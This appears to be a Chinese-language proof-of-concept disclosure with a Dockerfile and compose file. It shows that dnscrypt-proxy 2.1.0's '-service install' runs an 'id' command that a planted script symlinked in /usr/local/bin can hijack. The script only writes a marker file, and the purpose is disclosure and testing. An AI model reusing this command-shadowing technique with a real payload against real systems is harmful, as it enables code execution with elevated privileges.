docker compose up --build
构建并运行完成后，容器即被创建。
进入容器内部：
docker run -it --privileged dnscrypt-poc-poc bash
在容器内：
/tmp/id
cat /tmp/poc_was_here
如果输出 Pwned_from_Docker，则表示 PoC 成功。
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y \
git \
golang-go \
sudo
WORKDIR /workspace
RUN git clone https://github.com/DNSCrypt/dnscrypt-proxy.git && \
cd dnscrypt-proxy && \
git checkout tags/2.1.0 && \
go build -o proxy ./dnscrypt-proxy
RUN bash -c 'echo -e "#!/bin/bash\necho Pwned_from_Docker > /tmp/poc_was_here" > /tmp/id' && \
chmod +x /tmp/id && \
ln -sf /tmp/id /usr/local/bin/id
CMD ["./dnscrypt-proxy/proxy", "-service", "install"]
version: "3.8"
services:
poc:
build: .
container_name: dnscrypt-poc
privileged: true
tty: true
更详细的分析及实验结果请参阅以下 PDF 文档：